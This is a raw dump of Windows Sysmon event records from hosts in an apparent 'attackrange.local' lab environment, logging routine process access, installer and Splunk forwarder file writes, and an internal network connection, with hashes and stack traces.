l+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013935Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013934Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013933Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013932Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013931Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F54-613B-9A04-00000000F101}4084C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013930Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.176{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F54-613B-9A04-00000000F101}4084C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013929Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:36.177{625C326B-6F54-613B-9A04-00000000F101}4084C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013945Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:37.973{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CA909317786B8BB5984598C170DC682,SHA256=292A240CA8F663C3D0003E6477C046802214D34219C0AD782C1D93685FF95828,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.940{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F55-613B-1309-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.940{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F55-613B-1309-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000043215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.940{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ThirdPartyNotices.txt2021-09-10 14:44:37.940 10341000x800000000000000043214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.846{7BD73061-6E8E-613B-1107-00000000F001}41166444C:\Windows\system32\msiexec.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\apphelp.dll+20ffd|C:\Windows\system32\apphelp.dll+209c1|C:\Windows\system32\Msi.dll+19e41d|C:\Windows\system32\Msi.dll+2eaae|C:\Windows\system32\Msi.dll+47505|C:\Windows\system32\Msi.dll+10a8c5|C:\Windows\system32\Msi.dll+109ae6|C:\Windows\system32\Msi.dll+f407f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.783{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B75E8250C107385AA901AEEA75C21526,SHA256=CEAE460EDA6B29F38BF2CF51B74EDCAA6B70FFE45C250F421968D6E58CDE6EC8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.783{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b13e.msiMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.752{7BD73061-6F25-613B-3208-00000000F001}5700NT AUTHORITY\NETWORK SERVICEC:\Windows\system32\sppsvc.exeC:\Windows\System32\spp\store\2.0\cache\cache.datMD5=F6E8C8DE6097BA2F7949A1E50513B436,SHA256=408C08B40C22ABA9BF0062B2FB7C31700AFC11914A6D363448B1E12D26918E32,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.643{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.643{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CFD7E84EAD1D5D88868EC0DCEB2D5089,SHA256=356605024BB87BD919E8E29C149D7BDD4B25606E283B48D97C2F0339ED5A9578,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.471{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=F89940199B7452714A5106B5839D716E,SHA256=32068322A5720D5CFF2C5C743BEC0114416572615FD8A77F44BBF0513B494B94,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.471{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFCB104C60A991509B.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.471{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF7303EB1F931C9BCD.TMPMD5=F89940199B7452714A5106B5839D716E,SHA256=32068322A5720D5CFF2C5C743BEC0114416572615FD8A77F44BBF0513B494B94,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.424{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=27943355872D1B974DABEA11C087AD43,SHA256=EACCE1A2B63E7F47C10FFA663F8E7CDBDAFADCE9F0B74B069FC3CDDF227CE340,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.424{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFE210EEF1598EB260.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.408{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BA1E4BB39599A71674B07C4492C8E1B,SHA256=172943270860F2452DE4FDE4CF2273F2439EA6DDC5D85BB86DE3EB9F5E55917D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.408{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFF399B04EFEC3B81F.TMPMD5=F89940199B7452714A5106B5839D716E,SHA256=32068322A5720D5CFF2C5C743BEC0114416572615FD8A77F44BBF0513B494B94,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:37.331{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b13a.msiMD5=65378AA1D92BB422512E887C04E383A7,SHA256=16EE3327BDE96CFE1DDA3DF515F8B31821D297016D47F7BEFB3950E2679686E2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.924{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIC008.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.721{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=6D64DB19B2E650878312AFEACCA767DA,SHA256=A74D7736C9C5FDE47C58094644D80B9A905DA9F32D3F3F58B1DC6850632E69D5,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:38.643{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ucrtbase.dll2021-09-10 14:44:38.643 10341000x800000000000000043223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.580{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F25-613B-3208-00000000F001}5700C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24cca|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.580{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F25-613B-3208-00000000F001}5700C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000043221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:36.460{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59237-false10.0.1.12-8000- 23542300x800000000000000043220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5221A36A279FD6E3C99253B4B08BE893,SHA256=8B61175404485D6CD3F1CFED7BFE9A706674F17C33E29D1215E2EAC7195AB9C0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0F1B996E2C5FE1CBDD12279206BF6A84,SHA256=7A18FD2D3A26532D8241F1D7145411DF4DB95A5E1685412EDDB17C2E7480B73C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:38.283{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F55-613B-1309-00000000F001}6920C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000043250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.987{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\System.Security.Cryptography.X509Certificates.dll2021-09-10 14:44:39.987 11241100x800000000000000043249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.987{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\System.Security.Cryptography.Primitives.dll2021-09-10 14:44:39.987 11241100x800000000000000043248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.987{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\System.Security.Cryptography.Encoding.dll2021-09-10 14:44:39.987 11241100x800000000000000043247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.987{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\System.Security.Cryptography.Algorithms.dll2021-09-10 14:44:39.987 11241100x800000000000000043246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.971{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\System.Net.Http.dll2021-09-10 14:44:39.971 11241100x800000000000000043245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.955{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\Services.dll2021-09-10 14:44:39.955 11241100x800000000000000043244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.940{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\NLog.dll2021-09-10 14:44:39.940 11241100x800000000000000043243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.940{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\Newtonsoft.Json.dll2021-09-10 14:44:39.940 11241100x800000000000000043242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.940{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\Models.dll2021-09-10 14:44:39.940 11241100x800000000000000043241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.924{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\Managers.dll2021-09-10 14:44:39.924 254200x800000000000000043240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 